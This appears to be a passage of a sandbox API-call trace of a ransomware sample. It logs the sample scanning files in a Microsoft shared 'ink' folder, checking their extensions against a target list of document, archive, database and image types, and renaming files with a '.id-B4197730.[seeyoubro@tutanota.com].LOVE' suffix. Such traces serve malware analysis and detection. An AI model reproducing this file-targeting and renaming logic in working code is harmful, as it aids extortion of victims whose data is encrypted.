[0218.217] CloseHandle (hObject=0x374) returned 1 [0218.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0218.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0218.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.217] lstrlenW (lpString=".doc") returned 4 [0218.218] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.218] lstrlenW (lpString=".docx") returned 5 [0218.218] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.218] lstrlenW (lpString=".pdf") returned 4 [0218.218] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.218] lstrlenW (lpString=".xls") returned 4 [0218.218] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.218] lstrlenW (lpString=".xlsx") returned 5 [0218.218] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.218] lstrlenW (lpString=".ppt") returned 4 [0218.218] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.218] lstrlenW (lpString=".zip") returned 4 [0218.218] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.218] lstrlenW (lpString=".rar") returned 4 [0218.218] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.218] lstrlenW (lpString=".bz2") returned 4 [0218.218] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.218] lstrlenW (lpString=".7z") returned 3 [0218.218] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.218] lstrlenW (lpString=".dbf") returned 4 [0218.218] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.218] lstrlenW (lpString=".1cd") returned 4 [0218.218] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.218] lstrlenW (lpString=".jpg") returned 4 [0218.218] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.219] lstrlenW (lpString=".doc") returned 4 [0218.219] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.219] lstrlenW (lpString=".docx") returned 5 [0218.219] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.219] lstrlenW (lpString=".pdf") returned 4 [0218.219] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.219] lstrlenW (lpString=".xls") returned 4 [0218.219] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.219] lstrlenW (lpString=".xlsx") returned 5 [0218.219] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.219] lstrlenW (lpString=".ppt") returned 4 [0218.219] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.219] lstrlenW (lpString=".zip") returned 4 [0218.219] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.219] lstrlenW (lpString=".rar") returned 4 [0218.219] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.219] lstrlenW (lpString=".bz2") returned 4 [0218.219] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.219] lstrlenW (lpString=".7z") returned 3 [0218.219] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.219] lstrlenW (lpString=".dbf") returned 4 [0218.219] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.219] lstrlenW (lpString=".1cd") returned 4 [0218.219] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.220] lstrlenW (lpString=".jpg") returned 4 [0218.220] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.220] lstrcmpiW (lpString1=".mui", lpString2=".LOVE") returned 1 [0218.220] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0218.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0218.301] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=10752) returned 1 [0218.301] CloseHandle (hObject=0x374) returned 1 [0218.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0218.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0218.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.302] lstrlenW (lpString=".doc") returned 4 [0218.302] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.302] lstrlenW (lpString=".docx") returned 5 [0218.302] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.302] lstrlenW (lpString=".pdf") returned 4 [0218.302] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.302] lstrlenW (lpString=".xls") returned 4 [0218.302] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.302] lstrlenW (lpString=".xlsx") returned 5 [0218.302] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.302] lstrlenW (lpString=".ppt") returned 4 [0218.302] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.302] lstrlenW (lpString=".zip") returned 4 [0218.302] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.302] lstrlenW (lpString=".rar") returned 4 [0218.302] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.302] lstrlenW (lpString=".bz2") returned 4 [0218.302] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.302] lstrlenW (lpString=".7z") returned 3 [0218.302] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.302] lstrlenW (lpString=".dbf") returned 4 [0218.302] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.303] lstrlenW (lpString=".1cd") returned 4 [0218.303] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.303] lstrlenW (lpString=".jpg") returned 4 [0218.303] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.303] lstrlenW (lpString=".doc") returned 4 [0218.303] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.303] lstrlenW (lpString=".docx") returned 5 [0218.303] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.303] lstrlenW (lpString=".pdf") returned 4 [0218.303] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.303] lstrlenW (lpString=".xls") returned 4 [0218.303] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.303] lstrlenW (lpString=".xlsx") returned 5 [0218.303] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.303] lstrlenW (lpString=".ppt") returned 4 [0218.303] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.304] lstrlenW (lpString=".zip") returned 4 [0218.304] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.304] lstrlenW (lpString=".rar") returned 4 [0218.304] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.304] lstrlenW (lpString=".bz2") returned 4 [0218.304] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.304] lstrlenW (lpString=".7z") returned 3 [0218.304] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.304] lstrlenW (lpString=".dbf") returned 4 [0218.304] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.304] lstrlenW (lpString=".1cd") returned 4 [0218.304] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0218.304] lstrlenW (lpString=".jpg") returned 4 [0218.304] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.304] lstrcmpiW (lpString1=".mui", lpString2=".LOVE") returned 1 [0218.304] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0218.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0218.361] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=9728) returned 1 [0218.361] CloseHandle (hObject=0x364) returned 1 [0218.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0218.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0218.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.362] lstrlenW (lpString=".doc") returned 4 [0218.362] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.362] lstrlenW (lpString=".docx") returned 5 [0218.362] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.362] lstrlenW (lpString=".pdf") returned 4 [0218.362] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.362] lstrlenW (lpString=".xls") returned 4 [0218.362] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.362] lstrlenW (lpString=".xlsx") returned 5 [0218.362] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.362] lstrlenW (lpString=".ppt") returned 4 [0218.362] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.362] lstrlenW (lpString=".zip") returned 4 [0218.362] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.362] lstrlenW (lpString=".rar") returned 4 [0218.363] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.363] lstrlenW (lpString=".bz2") returned 4 [0218.363] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.363] lstrlenW (lpString=".7z") returned 3 [0218.363] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.363] lstrlenW (lpString=".dbf") returned 4 [0218.363] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.363] lstrlenW (lpString=".1cd") returned 4 [0218.363] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.363] lstrlenW (lpString=".jpg") returned 4 [0218.363] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.363] lstrlenW (lpString=".doc") returned 4 [0218.363] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.363] lstrlenW (lpString=".docx") returned 5 [0218.363] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.363] lstrlenW (lpString=".pdf") returned 4 [0218.363] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.363] lstrlenW (lpString=".xls") returned 4 [0218.363] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.363] lstrlenW (lpString=".xlsx") returned 5 [0218.363] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.363] lstrlenW (lpString=".ppt") returned 4 [0218.364] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.364] lstrlenW (lpString=".zip") returned 4 [0218.364] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.364] lstrlenW (lpString=".rar") returned 4 [0218.364] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.364] lstrlenW (lpString=".bz2") returned 4 [0218.364] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.364] lstrlenW (lpString=".7z") returned 3 [0218.364] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.364] lstrlenW (lpString=".dbf") returned 4 [0218.364] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.364] lstrlenW (lpString=".1cd") returned 4 [0218.364] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0218.364] lstrlenW (lpString=".jpg") returned 4 [0218.364] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.364] lstrcmpiW (lpString1=".mui", lpString2=".LOVE") returned 1 [0218.364] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0218.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0218.576] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=23040) returned 1 [0218.576] CloseHandle (hObject=0x2f0) returned 1 [0218.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0218.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0218.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.645] lstrlenW (lpString=".doc") returned 4 [0218.645] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.645] lstrlenW (lpString=".docx") returned 5 [0218.645] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.645] lstrlenW (lpString=".pdf") returned 4 [0218.645] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.645] lstrlenW (lpString=".xls") returned 4 [0218.645] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.645] lstrlenW (lpString=".xlsx") returned 5 [0218.645] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.645] lstrlenW (lpString=".ppt") returned 4 [0218.645] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.645] lstrlenW (lpString=".zip") returned 4 [0218.645] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.645] lstrlenW (lpString=".rar") returned 4 [0218.645] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.645] lstrlenW (lpString=".bz2") returned 4 [0218.646] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.646] lstrlenW (lpString=".7z") returned 3 [0218.646] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.648] lstrlenW (lpString=".dbf") returned 4 [0218.648] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.821] lstrlenW (lpString=".1cd") returned 4 [0218.821] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.821] lstrlenW (lpString=".jpg") returned 4 [0218.821] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.822] lstrlenW (lpString=".doc") returned 4 [0218.822] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.822] lstrlenW (lpString=".docx") returned 5 [0218.822] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.822] lstrlenW (lpString=".pdf") returned 4 [0218.822] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.822] lstrlenW (lpString=".xls") returned 4 [0218.822] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.822] lstrlenW (lpString=".xlsx") returned 5 [0218.822] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.822] lstrlenW (lpString=".ppt") returned 4 [0218.822] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.822] lstrlenW (lpString=".zip") returned 4 [0218.822] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.822] lstrlenW (lpString=".rar") returned 4 [0218.822] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.822] lstrlenW (lpString=".bz2") returned 4 [0218.822] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.822] lstrlenW (lpString=".7z") returned 3 [0218.822] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.822] lstrlenW (lpString=".dbf") returned 4 [0218.822] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.823] lstrlenW (lpString=".1cd") returned 4 [0218.823] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.823] lstrlenW (lpString=".jpg") returned 4 [0218.824] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.824] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0218.824] lstrlenW (lpString="InkObj.dll") returned 10 [0218.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0218.824] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=2018304) returned 1 [0218.824] CloseHandle (hObject=0x2d8) returned 1 [0218.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0218.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0218.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0218.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0218.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0218.943] lstrlenW (lpString=".doc") returned 4 [0218.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0218.943] lstrlenW (lpString=".docx") returned 5 [0218.943] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0218.943] lstrlenW (lpString=".pdf") returned 4 [0218.943] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0218.943] lstrlenW (lpString=".xls") returned 4 [0218.943] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0218.943] lstrlenW (lpString=".xlsx") returned 5 [0218.943] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0218.943] lstrlenW (lpString=".ppt") returned 4 [0218.943] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0218.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0218.943] lstrlenW (lpString=".zip") returned 4 [0218.943] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0218.943] lstrlenW (lpString=".rar") returned 4 [0218.943] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0218.943] lstrlenW (lpString=".bz2") returned 4 [0218.944] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0218.944] lstrlenW (lpString=".7z") returned 3 [0218.944] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0218.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 